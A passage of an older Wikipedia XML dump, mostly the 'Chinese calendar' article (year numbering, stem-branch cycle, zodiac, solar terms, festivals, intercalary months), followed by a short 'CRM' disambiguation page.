Exceptions such as these are rare. Fully 96.6% of all months contain only one entry into a zodiacal sign (have one principal term or cusp), all obeying the numbering rules of the [[#Jieqi|jiéqì]] table, and 3.0% of all months are intercalary months (always non-entry months between principal terms or cusps). Only 0.4% of all months either are dual-entry months (have two principal terms or cusps) or are neighboring months that are renumbered.

It is only after the 1645 reform that this situation arose. Then it became necessary to fix one month to always contain its principal term and allow any other to occasionally not contain its principal term. Month 11 was chosen, because its principal term (the winter solstice) forms the start of the Chinese Solar year (the sui).

The Chinese lunar calendar and the Gregorian Calendar often sync up every 19 years ([[Metonic cycle]]).  Most Chinese people notice that their Chinese and Western birthdays often fall on the same day on their 19th, 38th birthday etc. However, a 19-year cycle with an certain set of intercalary months is only an approximation, so an almost identical pattern of intercalary months in subsequent cycles will eventually change after some multiple of 19 years to a quite different 19-year cycle.

The [[Chinese zodiac]] (see [[#Nomenclature|Nomenclature]] and [[#Twelve Animals|Twelve Animals]] sections) is only used in naming years&amp;mdash;it is not used in the actual calculation of the calendar. In fact, the Chinese have a very different [[Chinese constellation|constellation system]].

The twelve months are closely connected with agriculture, so they are alternatively named after plants:

# Primens (first month) 正月: Latin &quot;primus mensis&quot;. 
# Apricomens (apricot month) 杏月: [[apricot]] blossoms. 
# Peacimens (peach month) 桃月: [[peach]] blossoms. 
# Plumens (plum month) 梅月: [[plum]] ripens. 
# Guavamens (guava month) 榴月: [[guava]] blossoms. (should be pomegranate, not guava.)
# Lotumens (lotus month) 荷月: [[Nelumbo|lotus]] blossoms. 
# Orchimens (orchid month) 蘭月: [[orchid]] blossoms. 
# Osmanthumens (osmanthus month) 桂月: [[osmanthus]] blossoms. 
# Chrysanthemens (chrysanthemum month) 菊月: [[chrysanthemum]] blossoms. 
# Benimens (good month) 良月: good month.
# Hiemens (hiemal month) 冬月: [[hiemal]] month. 
# Lamens (last month) 臘月: last month.

==Year markings==
===Regnal years===
Traditional Chinese years were not continuously numbered in the way that the BC/AD system is. More commonly, official year counting always used some form of a [[regnal year]]. This system began in 841 BC during the Zhou dynasty. Prior to this, years were not marked at all, and historical events  cannot be dated exactly. 

In 841 BC, the Li King Hu of Zhou (周历王胡) was ousted by a civilian uprising (国人暴动), and the country was governed for the next fourteen years by a council of senior ministers, a period known as the Regency (共和行政). In this period, years were marked as First (second, third, etc) Year of the Regency. 

Subsequently, years were marked as regnal years, e.g. the year 825 BC was marked as the 3rd Year of the Xuan King Jing of Zhou (周宣王三年). This system was used until early in the Han dynasty, when the Wen Emperor of Han (汉文帝刘恒) instituted [[nian hao|regnal names]]. After this, most emperors used one or more regnal names to mark their reign. Usually, the emperor would institute a new name upon accession to the throne, and then change to new names to mark significant events, or to end a perceived cycle of bad luck. In the Ming and Qing dynasties, however, each emperor usually used only one regnal name for their reign. 

This sytem continued until the [[Republic of China]], which counted years as Years of the Republic, beginning in 1912. Thus, 1912 is the 1st Year of the Republic, and 1948 the 37th. This system is still used for official purposes in Taiwan. For the rest of China, in 1949 the [[People's Republic of China]] chose to use the [[Common Era]] system (equivalently, AD/BC system), in line with international standards.

===The stem-branch cycle===
The other system by which years are marked historically in China was by the stem-branch or [[sexagenary cycle]]. This system is based on two forms of counting: a cycle of 10 [[Heavenly Stems]] and a cycle of 12 [[Earthly Branches]]. Each year is named by a pair of one stem and one branch called a Stem-Branch (&amp;#24178;&amp;#25903; g&amp;#257;nzh&amp;#299;). The Heavenly Stems are associated with [[Yin Yang]] and the [[Five elements (Chinese philosophy)|Five Elements]].  Recent 10-year periods began in 1984, 1994, and 2004. The Earthly Branches are associated with the twelve signs of the [[Zodiac]]. Each Earthly Branch is also associated with an animal, collectively known as the [[#Chinese Zodiac|Twelve Animals]]. Recent 12-year periods began in 1984 and 1996.

Since the numbers 10 (Heavenly Stems) and 12 (Earthly Branches) have a common factor of 2, only 1/2 of the 120 possible stem-branch combinations actually  occur. The resulting  60-year (or sexagesimal) cycle takes the name ''ji&amp;#462;z&amp;#464;'' (&amp;#30002;&amp;#23376;) after the first year in the cycle, being the Heavenly Stem of &quot;ji&amp;#462;&quot; and Earthly Branch of &quot;z&amp;#464;&quot;.  The term &quot;ji&amp;#462;z&amp;#464;&quot; is used figuratively to mean &quot;a full lifespan&quot;&amp;mdash;one who has lived more than a ji&amp;#462;z&amp;#464; is obviously blessed. (Compare the Biblical &quot;three-score years and ten.&quot;) 

At first, this system was used to mark days, not years. The earliest evidence of this were found on [[oracle bone]]s dated c.1350 BC in [[Shang Dynasty]].  This system of date marking continues to this day, and can still be found on Chinese calendars today. Although a stem-branch cannot be used to deduce the actual day in historical events, it can assist in converting Chinese dates to other calendars more accurately. 

Around the [[Han Dynasty]], the stem-branch cycle also began to be used to mark years. The 60-year system cycles continuously, and determines the animal or sign under which a person is born (see [[#Chinese Zodiac|Chinese Zodiac]]). These cycles were not named, and were used in conjunction with [[Chinese era name|regnal names]] declared by the [[Emperor of China|Emperor]]. For example: &amp;#24247;&amp;#29081;&amp;#22764;&amp;#23493; (K&amp;#257;ngx&amp;#299; rényín) (1662 AD) is the first &amp;#22764;&amp;#23493; (rényín) year during the reign of &amp;#24247;&amp;#29081; (K&amp;#257;ngx&amp;#299;), regnal name of an emperor of the [[Qing Dynasty]]

The months and hours can also be denoted using Heavenly Stems and Earthly Branches, though they are commonly addressed using [[Chinese numeral]]s instead. In [[Chinese astrology]], four Stem-Branch pairs form the Eight Characters (&amp;#20843;&amp;#23383; b&amp;#257;zì).

===Continuously-numbered years===

As mentioned under [[#Legendary beginnings|Legendary beginnings]] above, there is no universally agreed upon &quot;[[epoch]]&quot; or starting point for the Chinese calendar.  Tradition holds that the calendar was invented by Huang Di (黄帝) in the 61st year of his reign in what is now known under the proleptic Gregorian calendar as 2637 BCE.  Many have used this date as &quot;the&quot; beginning of the Chinese calendar, but others have used the date of the beginning of his reign in 2697 BCE.  Since these dates are exactly 60 years apart, it does not matter which is used to determine the stem/branch sequence or the astrological sign for any succeeding year.  That is, 2006 is a bingxu year and the Year of the Dog regardless of whether years are counted from 2637 BCE or 2697 BCE.

For the most part, the imposition of a continuous numbering system on the Chinese calendar was of interest mostly to Jesuit missionaries and other Westerners who assumed that calendars obviously had to be continuous.  However, in the early 20th century, some Chinese [[Republicanism|Republican]]s began to advocate widespread use of continuously numbered stem-branch cycles, so that year markings could be independent of the Emperor's [[Chinese era name|regnal name]]. (This was part of their attempt to delegitimise the [[Qing Dynasty]].) To this end, [[Sun Yat-sen]] identified 2698 BCE as the first year of the first cycle, and this choice was adopted by many [[overseas Chinese]] communities outside southeast Asia such as [[Chinatown, San Francisco|San Francisco's Chinatown]].  Modern chronologists believe, however, that 2698 BCE is an error (perhaps due to confusion surrounding calendar arithmetic which crosses &quot;year 0&quot;) for the 2697 BCE epoch corresponding to the sexagesimal cycles.

If 2637 is used as the epoch, we are currently (as of 2006) in the 78th 60-year cycle since Huang Di, and 2006 is the 4643rd year.  If 2697 is used as the epoch, we are in the 79th 60-year cycle, and 2006 is the 4703rd year.  Perhaps because of the lingering influence of  Sun Yat-sen's choice, and despite the traditional identification of 2637 as the beginning of the calendar, most references today lean towards the other interpretation, stating that we are in the 79th cycle and listing &quot;Chinese year&quot; numbers in the vicinity of 4703.  (Adding to the confusion, a few people take Sun Yat-sen's choice of 2698 literally, and claim that 2006 is the 4704th year, although this correspondence does not synchronize properly with the 60-year cycle.)  Of course, to most Chinese people terms such as &quot;year 4703&quot; are meaningless, since the calendar counts only in unnumbered cycles of 60.

===Correspondence between systems===

This table shows the stem/branch year names, correspondences to the Western (Gregorian) calendar, and other related information for the current decade.
(These years are all part of the 79th sexagenary cycle, or the 78th if an epoch of 2637 BCE is accepted.) Or see [[Chinese calendar correspondence table|this larger table]] of the full 60-year cycle.

{| class=&quot;wikitable&quot;
|-
! width=70 | Jiǎzǐ (甲子) sequence
! style=&quot;background:#efefef;&quot; width=60 | Stem/ branch
! Gānzhī (干支)
! width=60 | Year of the...
! width=70 | Continuous &lt;small&gt;[Note 1]&lt;/small&gt;
! width=70 | Gregorian &lt;small&gt;[Note 2]&lt;/small&gt;
! width=100 | New Year's Day (chūnjié, 春節)
|-
|15||5/3||wùyín (戊寅)||Earth Tiger||4695||1998||January 28
|-
|16||6/4||jǐmăo (己兔)||Earth Rabbit||4696||1999||February 16
|-
|17||7/5||gēngchén (庚辰)||Metal Dragon||4697||2000||February 5
|-
|18||8/6||xīnsì (辛巳)||Metal Snake||4698||2001||January 24
|-
|19||9/7||rénwǔ (壬午)||Water Horse||4699||2002||February 12
|-
|20||10/8||guǐwèi (癸未)||Water Sheep||4700||2003||February 1
|-
|21||1/9||jiǎshēn (甲申)||Wood Monkey||4701||2004||January 22
|-
|22||2/10||yǐyǒu (乙酉)||Wood Rooster||4702||2005||February 9
|-
|23||3/11||bǐngxū (丙戌)||Fire Dog||4703||2006||January 29
|-
|24||4/12||dīnghài (丁亥)||Fire Pig||4704||2007||February 18
|-
|25||5/1||wùzǐ (戊子)||Earth Rat||4705||2008||February 7
|-
|26||6/2||jǐchǒu (己丑)||Earth Ox||4706||2009||January 26
|-
|27||7/3||gēngyín (庚寅)||Metal Tiger||4707||2010||February 14
|-
|28||8/4||xīnmăo (辛兔)||Metal Rabbit||4708||2011||February 3
|}

[Note 1: As discussed above, there is considerable difficulty in establishing a basis for the chronology of the continuous year numbers.  The numbers listed here are too high by 60 if an epoch of  2637 BCE is accepted.  They may be too low by 1 if an epoch of  2698 BCE is accepted.  That is, according to some sources, Gregorian 2006 could alternatively correspond to 4643, or perhaps 4704.]

[Note 2: In any case, the correspondence between a lunisolar Chinese year and a solar Gregorian year is of course not exact.  The first few months of each Gregorian year -- those preceding Chinese New Year -- belong to the previous Chinese year.  For example, January 1 - January 28 of 2006 correspond to yǐyǒu or 4702.  Thus, it might be more precise to state that Gregorian 2006 corresponds to 4702-4703, or that continuous Chinese 4703 corresponds to 2006-2007.]

===Solar year versus lunar year===

There is a distinction between a solar year and a lunar year in the Chinese calendar because the calendar is lunisolar. A lunar year (&amp;#24180; nián) is from one Chinese new year to the next. A solar year (&amp;#27506; suì) is either the period between one [[Spring Equinox]] and the next or the period between two [[winter solstice]]s (see [[#Jieqi|Jiéqì]] section). A lunar year is exclusively used for dates, whereas a solar year, especially that between winter solstices, is used to number the months.

==Hours of the day==
Under the traditional system of hour-marking, each day is divided into 12 hours (时辰). Each of these &quot;hours&quot; is equivalent to two hours of international time. Each is named after one of the twelve [[Earthly Branches]]. The first hour, Hour of Zi (子时), begins at 11 p.m. of the previous day and ends at 1 a.m. Tradtitionally, executions of condemned prisoners occur at the Hour of Wu (午时), that is around midday.

==The Chinese zodiac==
The Twelve animals (&amp;#21313;&amp;#20108;&amp;#29983;&amp;#32918; ''shí'èr sh&amp;#275;ngxiào'', or colloquially &amp;#21313;&amp;#20108;&amp;#23660;&amp;#30456; ''shí'èr sh&amp;#468;xi&amp;#257;ng'') representing the twelve [[Earthly Branches]] are, in order, the [[rat (zodiac)|rat]], [[ox (zodiac)|ox]], [[tiger (zodiac)|tiger]], [[rabbit (zodiac)|rabbit]], [[dragon (zodiac)|dragon]], [[snake (zodiac)|snake]], [[horse (zodiac)|horse]], [[sheep (zodiac)|sheep]] (or [[goat]]), [[monkey (zodiac)|monkey]], [[rooster (zodiac)|rooster]], [[dog (zodiac)|dog]], and [[pig (zodiac)|pig]].

A [[legend]] explains the sequence in which the animals were assigned. Supposedly, the twelve animals fought over the precedence of the animals in the cycle of years in the calendar, so the Chinese gods held a contest to determine the order. All the animals lined up on the bank of a river and were given the task of getting to the opposite shore. Their order in the calendar would be set by the order in which the animals managed to reach the other side. The cat wondered how he would get across if he was afraid of water. At the same time, the ox wondered how he would cross with his poor eyesight. The calculating rat suggested that he and the cat jump onto the ox's back and guide him across. The ox was steady and hard-working so that he did not notice a commotion on his back. In the meanwhile, the rat snuck up behind the unsuspecting cat and shoved him into the water. Just as the ox came ashore, the rat jumped off and finished the race first. The lazy pig came to the far shore in twelfth place. And so the rat
got the first year named after him, the ox got the second year, and the pig ended up as the last year in the cycle. The cat finished too late to win any place in the calendar, and vowed to be the enemy of the rat forevermore.

See the table under [[#Correspondence between systems|Correspondence between systems]] above for the animal names of current and nearby years.
See [[Chinese astrology#Chinese zodiac|Chinese zodiac]] for more details.

==Solar term==
{{main|Solar term}}

Chinese months follow the phases of the moon. As a result, they do not accurately follow the seasons of the solar year. To assist farmers to help farmers decide when to plant or harvest crops, the drafters of the calendar put in 24 seasonal markers, which follow the solar year, and are called ''[[Jieqi|jiéqì]]'' &amp;#31680;&amp;#27683;.  

The term ''Jiéqì'' is usually translated as &quot;Solar Terms&quot; (lit. Nodes of Weather). Each node is the instant when the sun reaches one of twenty-four equally spaced points along the [[ecliptic]], including the [[solstice]]s and [[equinox]]es, positioned at fifteen [[degree (angle)|degree]] intervals.  Because the calculation is solar-based, these ''jiéqì'' fall around the same date every year in [[solar calendar]]s (e.g. the [[Gregorian Calendar]]), but do not form any obvious pattern in the Chinese calendar. The dates below are approximate and may vary slightly from year to year due to the intercalary rules (i.e. system of [[leap years]]) of the Gregorian calendar. ''Jiéqì'' are published each year in farmers' [[almanac]]s. [[Chinese New Year]] is usually the [[new moon]] closest to ''lìch&amp;#363;n''. 

In the table below, these measures are given in the standard astronomical convention of [[ecliptic longitude]], zero degrees being positioned at the [[vernal equinox]] point. Each calendar month under the heading &quot;M&quot; contains the designated ''jiéqì'' called a principal term, which is an entry into a sign of the zodiac, also known as a cusp. Here ''term'' has the archaic meaning of a limit, not a duration. In Chinese astronomy, seasons are centered on the solstices and equinoxes, whereas in the standard Western definition, they begin at the solstices and equinoxes. Thus the term ''Beginning of Spring'' and the related Spring Festival fall in February, when it is still very chilly in temperate latitudes in the Northern Hemisphere.

{| class=&quot;wikitable&quot;
|-
! M
! Ecliptic &lt;br&gt; Long.
! Chinese Name
! Gregorian &lt;br&gt; Date (approx.)
! Usual &lt;br&gt; Translation
! Remarks
|-
| &amp;nbsp;
| align=&quot;right&quot; | 315&amp;#176;
| &amp;#31435;&amp;#26149; lìch&amp;#363;n
| [[4 February]]
| start of spring
| spring starts here according to the Chinese definition of a season
|-
| align=&quot;right&quot; | '''1'''
| align=&quot;right&quot; | 330&amp;#176;
| &amp;#38632;&amp;#27700; y&amp;#468;shu&amp;#464;
| [[19 February]]
| rain water
| starting at this point, the temperature makes rain more likely than snow
|-
| &amp;nbsp;
| align=&quot;right&quot; | 345&amp;#176;
| &amp;#21843;&amp;#34756; q&amp;#464;zhé&lt;br&gt;(&amp;#39514;&amp;#34756; j&amp;#299;ngzhé)
| [[5 March]]
| awakening of insects
| when &lt;nowiki&gt;[&lt;/nowiki&gt;[[hibernation|hibernating]]&lt;nowiki&gt;]&lt;/nowiki&gt; insects awake
|-
| align=&quot;right&quot; | '''2'''
| align=&quot;right&quot; | 0&amp;#176;
| &amp;#26149;&amp;#20998; ch&amp;#363;nf&amp;#275;n
| [[21 March]]
| [[vernal equinox]]
| lit. the central divide of spring (referring to the Chinese seasonal definition)
|-
| &amp;nbsp;
| align=&quot;right&quot; | 15&amp;#176;
| &amp;#28165;&amp;#26126; q&amp;#299;ngmíng
| [[5 April]]
| clear and bright
| a Chinese festival where, traditionally, ancestral graves are tended
|-
| align=&quot;right&quot; | '''3'''
| align=&quot;right&quot; | 30&amp;#176;
| &amp;#31296;&amp;#38632; g&amp;#468;y&amp;#468;
| [[20 April]]
| grain rains
| rain helps grain grow
|-
| &amp;nbsp;
| align=&quot;right&quot; | 45&amp;#176;
| &amp;#31435;&amp;#22799; lìxià
| [[6 May]]
| start of summer
| refers to the Chinese seasonal definition
|-
| align=&quot;right&quot; | '''4'''
| align=&quot;right&quot; | 60&amp;#176;
| &amp;#23567;&amp;#28415; xi&amp;#462;om&amp;#462;n
| [[21 May]]
| grain full
| grains are plump
|-
| &amp;nbsp;
| align=&quot;right&quot; | 75&amp;#176;
| &amp;#33426;&amp;#31278; mángzhòng
| [[6 June]]
| grain in ear
| lit. awns (beard of grain) grow
|-
| align=&quot;right&quot; | '''5'''
| align=&quot;right&quot; | 90&amp;#176;
| &amp;#22799;&amp;#33267; xiàzhì
| [[21 June]]
| [[summer solstice]]
| lit. summer extreme (of sun's height)
|-
| &amp;nbsp;
| align=&quot;right&quot; | 105&amp;#176;
| &amp;#23567;&amp;#26257; xi&amp;#462;osh&amp;#468;
| [[7 July]]
| minor heat
| when heat starts to get unbearable
|-
| align=&quot;right&quot; | '''6'''
| align=&quot;right&quot; | 120&amp;#176;
| &amp;#22823;&amp;#26257; dàsh&amp;#468;
| [[23 July]]
| major heat
| the hottest time of the year
|-
| &amp;nbsp;
| align=&quot;right&quot; | 135&amp;#176;
| &amp;#31435;&amp;#31179; lìqi&amp;#363;
| [[7 August]]
| start of autumn
| uses the Chinese seasonal definition
|-
| align=&quot;right&quot; | '''7'''
| align=&quot;right&quot; | 150&amp;#176;
| &amp;#34389;&amp;#26257; chùsh&amp;#468;
| [[23 August]]
| limit of heat
| lit. dwell in heat
|-
| &amp;nbsp;
| align=&quot;right&quot; | 165&amp;#176;
| &amp;#30333;&amp;#38706; báilù
| [[8 September]]
| white dew
| condensed moisture makes dew white; a sign of autumn
|-
| align=&quot;right&quot; | '''8'''
| align=&quot;right&quot; | 180&amp;#176;
| &amp;#31179;&amp;#20998; qi&amp;#363;f&amp;#275;n
| [[23 September]]
| [[autumnal equinox]]
| lit. central divide of autumn (refers to the Chinese seasonal definition)
|-
| &amp;nbsp;
| align=&quot;right&quot; | 195&amp;#176;
| &amp;#23506;&amp;#38706; hánlù
| [[8 October]]
| cold dew
| dew starts turning into frost
|-
| align=&quot;right&quot; | '''9'''
| align=&quot;right&quot; | 210&amp;#176;
| &amp;#38684;&amp;#38477; shu&amp;#257;ngjiàng
| [[23 October]]
| descent of frost
| appearance of frost and descent of temperature
|-
| &amp;nbsp;
| align=&quot;right&quot; | 225&amp;#176;
| &amp;#31435;&amp;#20908; lìd&amp;#333;ng
| [[7 November]]
| start of winter
| refers to the Chinese seasonal definition
|-
| align=&quot;right&quot; | '''10'''
| align=&quot;right&quot; | 240&amp;#176;
| &amp;#23567;&amp;#38634; xi&amp;#462;oxu&amp;#283;
| [[22 November]]
| minor snow
| snow starts falling
|-
| &amp;nbsp;
| align=&quot;right&quot; | 255&amp;#176;
| &amp;#22823;&amp;#38634; dàxu&amp;#283;
| [[7 December]]
| major snow
| season of snowstorms in full swing
|-
| align=&quot;right&quot; | '''11'''
| align=&quot;right&quot; | 270&amp;#176;
| &amp;#20908;&amp;#33267; d&amp;#333;ngzhì
| [[22 December]]
| [[winter solstice]]
| lit. winter extreme (of sun's height)
|-
| &amp;nbsp;
| align=&quot;right&quot; | 285&amp;#176;
| &amp;#23567;&amp;#23506; xi&amp;#462;ohán
| [[6 January]]
| minor cold
| cold starts to become unbearable
|-
| align=&quot;right&quot; | '''12'''
| align=&quot;right&quot; | 300&amp;#176;
| &amp;#22823;&amp;#23506; dàhán
| [[20 January]]
| major cold
| coldest time of year
|}
Note: The third jiéqì was originally called 啓蟄 (qǐzhé) but renamed to 驚蟄 (jīngzhé) in the era of the [[Emperor Jing of Han]] (漢景帝) to avoid writing his given name 啓 (also written as 啟, a variant of 啓).

The &quot;Song of Solar Terms&quot; (節氣歌; [[pinyin]]: ''jiéqìgē'') is used to ease the memorization of ''jiéqì'':

:春雨驚春清穀天 chūn yǔ jīng chūn qīng gǔtiān,
:夏滿芒夏暑相連 xià mǎn máng xià shǔ xiānglián,
:秋處露秋寒霜降 qiū chù lù qiū hán shuāng xiáng,
:冬雪雪冬小大寒 dōng xuě xuě dōng xiǎo dà hán.

==Holidays==
The Chinese calendar year has nine main festivals, seven determined by the lunisolar calendar, and the other two derived from the solar agricultural calendar. (Note that the farmers actually used a solar calendar, and its twenty-four terms, to determine when to plant crops, due to the inaccuracy of the lunisolar traditional calendar. However, the traditional calendar has also come to be known as the agricultural calendar.)

The two special holidays are the Tomb-Sweeping Festival ([[Qingming Festival]] and the [[Winter Solstice Festival]], falling upon the respective solar terms, the former occurring at ecliptic longitude 15 degrees, the latter at 270 degrees. As for all other calendrical calculations, the calculations use civil time in China, eight hours ahead of [[UTC]].

{| class=&quot;wikitable&quot;
|-
! Date
! English Name
! Chinese Name
! Remarks
! 2003
! 2004
! 2005
! 2006
! 2007
! 2008
|-
| month&amp;nbsp;1&lt;br&gt; day&amp;nbsp;1
| [[Chinese New Year]], &lt;br&gt; lit. Spring Festival
| &amp;#26149;&amp;#31680; &lt;br&gt; ch&amp;#363;nji&amp;#233;
| Family gathering and major festivities for three days; traditionally 15 days
| Feb&amp;nbsp;1
| Jan&amp;nbsp;22
| Feb&amp;nbsp;9
| Jan&amp;nbsp;29
| Feb&amp;nbsp;18
| Feb&amp;nbsp;7
|-
| month&amp;nbsp;1 &lt;br&gt; day&amp;nbsp;15
| [[Lantern Festival]]
| &amp;#20803;&amp;#23477;&amp;#31680; &lt;br&gt; yu&amp;#225;nxi&amp;#257;oji&amp;#233;
| Yuanxiao eating&lt;br&gt; and lanterns
| Feb&amp;nbsp;15
| Feb&amp;nbsp;5
| Feb&amp;nbsp;23
| Feb&amp;nbsp;12
| Mar&amp;nbsp;4
| Feb&amp;nbsp;21
|-
| Apr&amp;nbsp;4 &lt;br&gt; or 5
| [[Qingming Festival]], &lt;br&gt; lit. Clear and Bright Festival
| &amp;#28165;&amp;#26126;&amp;#31680; &lt;br&gt; q&amp;#299;ngmíngji&amp;#233;
| Graves tending
| Apr&amp;nbsp;5
| Apr&amp;nbsp;4
| Apr&amp;nbsp;5
| Apr&amp;nbsp;5
| Apr&amp;nbsp;5
| Apr&amp;nbsp;4
|-
| month&amp;nbsp;5 &lt;br&gt; day&amp;nbsp;5
| [[Dragon Boat Festival]]
| &amp;#31471;&amp;#21320;&amp;#31680; &lt;br&gt; du&amp;#257;nw&amp;#468;ji&amp;#233;
| [[Dragon boat racing]]&lt;br&gt; and zhongzi eating
| Jun&amp;nbsp;4
| Jun&amp;nbsp;22
| Jun&amp;nbsp;11
| May&amp;nbsp;31
| Jun&amp;nbsp;19
| Jun&amp;nbsp;8
|-
| month&amp;nbsp;7&lt;br&gt; day&amp;nbsp;7
| [[Qi Xi|The Night of Sevens]], &lt;br&gt; 
| &amp;#19971;&amp;#22805; &lt;br&gt; q&amp;#299;xì
| A festival for lovers, equivalent to Valentine's Day
| Aug&amp;nbsp;4
| Aug&amp;nbsp;22
| Aug&amp;nbsp;11
| Jul&amp;nbsp;31
| Aug&amp;nbsp;19
| Aug&amp;nbsp;7
|-
| month&amp;nbsp;7 &lt;br&gt; day&amp;nbsp;15
| [[Ghost Festival]] &lt;br&gt; or Spirit Festival
| &amp;#20013;&amp;#20803;&amp;#31680; &lt;br&gt; zh&amp;#333;ngyu&amp;#225;nji&amp;#233;
| &amp;nbsp; &amp;nbsp;
| Aug&amp;nbsp;12
| Aug&amp;nbsp;30
| Aug&amp;nbsp;19
| Aug&amp;nbsp;8
| Aug&amp;nbsp;27
| Aug&amp;nbsp;15
|-
| month&amp;nbsp;8 &lt;br&gt; day&amp;nbsp;15
| [[Mid-Autumn Festival]] &lt;br&gt; or Moon Festival
| &amp;#20013;&amp;#31179;&amp;#31680; &lt;br&gt; zh&amp;#333;ngqi&amp;#363;ji&amp;#233;
| Family gathering&lt;br&gt; and moon cake eating
| Sep&amp;nbsp;11
| Sep&amp;nbsp;28
| Sep&amp;nbsp;18
| Oct&amp;nbsp;6
| Sep&amp;nbsp;25
| Sep&amp;nbsp;14
|-
| month&amp;nbsp;9&lt;br&gt;day&amp;nbsp;9
| [[Double Ninth Festival]], &lt;br&gt; lit. Double Yang Festival
| &amp;#37325;&amp;#38525;&amp;#31680; &lt;br&gt;chóngyángjié
| Mountain climbing&lt;br&gt; and flower shows
| Oct&amp;nbsp;4
| Oct&amp;nbsp;22
| Oct&amp;nbsp;11
| Oct&amp;nbsp;30
| Oct&amp;nbsp;19
| Oct&amp;nbsp;7
|-
| Dec&amp;nbsp;21 &lt;br&gt; or 22
| [[Winter Solstice Festival]]
| &amp;#20908;&amp;#33267; &lt;br&gt;d&amp;#333;ngzhì
| Family gathering
| Dec&amp;nbsp;22
| Dec&amp;nbsp;21
| Dec&amp;nbsp;22
| Dec&amp;nbsp;22
| Dec&amp;nbsp;22
| Dec&amp;nbsp;21
|}

==Purpose of the intercalary months==

Most people, upon using or studying the Chinese calendar, are perplexed by the intercalary month because of its seemingly unpredictable nature. As mentioned above, the intercalary month refers to additional months added to the calendar in some years to correct for its deviation from the [[astronomical year]], a function similar to that of the extra day in February in leap years.

However, because of the complex astronomical knowledge required to calculate if and when an intercalary month needs to be inserted, to most people, it is simply a mystery. This has led to a superstition that intercalary months in certain times of the year bring bad luck.

The main purpose of the intercalary month is to correct for deviations of the calendrical year from the astronomical year. Because the Chinese calendar is mainly a lunar calendar, its standard year is 354 days, whereas the [[astronomical year]] is approximately 365.25 days. Without the intercalary month, this deviation would build up over time, and the Spring festival, for example, would no longer fall in Spring. Thus, the intercalary month serves a valuable purpose in ensuring that the year in the Chinese calendar remains approximately in line with the astronomical year.

The intercalary month is inserted whenever the Chinese calendar moves too far from the stage of progression of the earth in its orbit. Thus, for example, if the beginning of a certain month in the Chinese calendar deviates by a certain number of days from its equivalent in a solar calendar, an intercalary month needs to be inserted.

The practical benefit of this system is that the calendar is able to approximately keep in pace with the solar cycle, while at the same time retaining months that roughly correspond with lunar cycles. Hence the term ''lunisolar'' calendar. The latter is important because many traditional festivals correspond to significant events in the moon's cycle. For example, the mid-autumn festival is always on a day of the full moon.

==The relevance of the calendar today==

There have been calls for reform in recent years from experts in China, because of the increasing irrelevance of the Chinese calendar in modern life. They point to the example in Japan, where during the [[Meiji Restoration]] the nation adopted the Western calendar, and simply shifted all traditional festivitives onto an equivalent date. However, the Chinese calendar remains important as an element of cultural tradition, and for certain cultural activities.

=== Practical uses ===

The original practical relevance of the lunisolar calendar for date marking has largely disappeared. Firstly, the Gregorian calendar is more accurate and more in line with both international standards and the astronomical year. Its adoption for official purposes has meant that the traditional calendar is rarely used for date marking. This, in turn, means that it is more convenient to remember significant events such as birth dates by the Gregorian rather than the Chinese calendar. 

Secondly, the 24 solar terms were important to farmers who would not be able to plan agricultural activities without foreknowledge of these terms. However, the 24 solar terms (including the [[solstice]]s and [[equinox]]es) are more predictable on the Gregorian calendar than the lunisolar calendar since they are based on the solar cycle. It is easier for the average Chinese farmer to organise their planting and harvesting with the Gregorian calendar.

=== Cultural issues ===

Nevertheless, the Chinese calendar remains culturally essential. For example, most of the traditional festivals, such as [[Chinese New Year]] and the [[Mid-Autumn Festival]], traditionally occur at new moon or full moon. Furthermore, the traditional Chinese calendar, as an element of traditional culture, is invested with much cultural and nationalistic sentiment.

The calendar is still used in the more traditional Chinese households around the world to pick 'lucky dates' for important events such as weddings, funerals, and business deals. A special calendar is used for this purpose, called Huang Li, literally &quot;Imperial Calendar&quot;, which contains auspicious activities, times, and directions for each day. The calendar follows the Gregorian dates but has the corresponding Chinese dates. Every date would have a comprehensive listing of astrological measurements and fortune elements.

Thus, while the traditional calendar could be removed without much practical effect, its sentimental and cultural significance will probably see its retention for some time yet.

==External links==
*[http://www.math.nus.edu.sg/aslaksen/calendar/chinese.html Rules for the Chinese Calendar]
*[http://www.hermetic.ch/cal_stud/chinese_cal.htm The Structure of the Chinese Calendar]
* [http://www.char4u.com/chinese-zodiac-sign.php Chinese Zodiac Chart] Find your Chinese Zodiac sign based on your date of birth.
* Calendar Conversion
**[http://www.hermetic.ch/chcal/chcal.htm Chinese Calendrics] Windows software, converts all dates
**[http://www.mandarintools.com/calendar.html Gregorian-Chinese calendar converter]Online: only for the republican age (after 1912)
**[http://www.sinica.edu.tw/~tdbproj/sinocal/luso.html Two Thousand Year Chinese Calendar Converter] (in Chinese)- works for all dates from the [[Han Dynasty]] until 2100
*Pages from the [[Hong Kong Observatory]] [http://www.hko.gov.hk/contente.htm website]
**[http://www.hko.gov.hk/gts/time/24solarterms.htm The 24 Solar Terms of ''Jieqi'']
**[http://www.hko.gov.hk/gts/time/stemsandbranches.htm Heavenly Stems and Earthly Branches]
**[http://www.hko.gov.hk/gts/time/conversion.htm Gregorian-Lunar Calendar Conversion Table]
*[http://wiki.wsu.edu/index.php/Chinese_Calendar_2006 Chinese Lunar Calendar 2006]

[[Category:Chinese astronomy|Calendar]]
[[Category:Korean culture|Calendar]]
[[Category:Specific calendars]]

[[da:Kinesiske kalender]]
[[de:Chinesischer Kalender]]
[[fi:Kiinalainen kalenteri]]
[[fr:Calendrier chinois]]
[[he:הלוח הסיני]]
[[id:Imlek]]
[[ja:中国暦]]
[[ka:ჩინური კალენდარი]]
[[ko:음력]]
[[pt:Calendário chinês]]
[[ru:Китайский календарь]]
[[sv:Kinesiska kalendern]]
[[vi:Lịch Trung Quốc]]
[[zh:农历]]</text>
    </revision>
  </page>
  <page>
    <title>CRM</title>
    <id>6967</id>
    <revision>
      <id>41455295</id>
      <timestamp>2006-02-27T13:16:07Z</timestamp>
      <contributor>
        <ip>84.161.254.164</ip>
      </contributor>
      <text xml:space="preserve">* In [[information technology]], '''CRM''' stands for [[Customer Relationship Management]], [[CIDOC|Conceptual Reference Model]], [[Compensating Resource Manager]] and Clean Room Model.
* In [[marketing]], CRM stands either for same above and for [[Cause-Related Marketing]].
* In [[analytical chemistry]], CRM is a [[certified reference material]].
* In [[archeology]], CRM is [[Cultural Resources Management]].
* In [[aviation]], CRM is [[Crew (or Cockpit) Resource Management]].
* [[Coastal Research &amp; Management]]
* [[CRM114]] is an efficient spamfilter
* [[Camp Rainey Mountain]] is a [[Boy Scouts of America|Boy Scout]] [[Summer Camp]] in North East Georgia
* In [[X/Open XA]], '''CRM''' is a Communication Resource Manager.
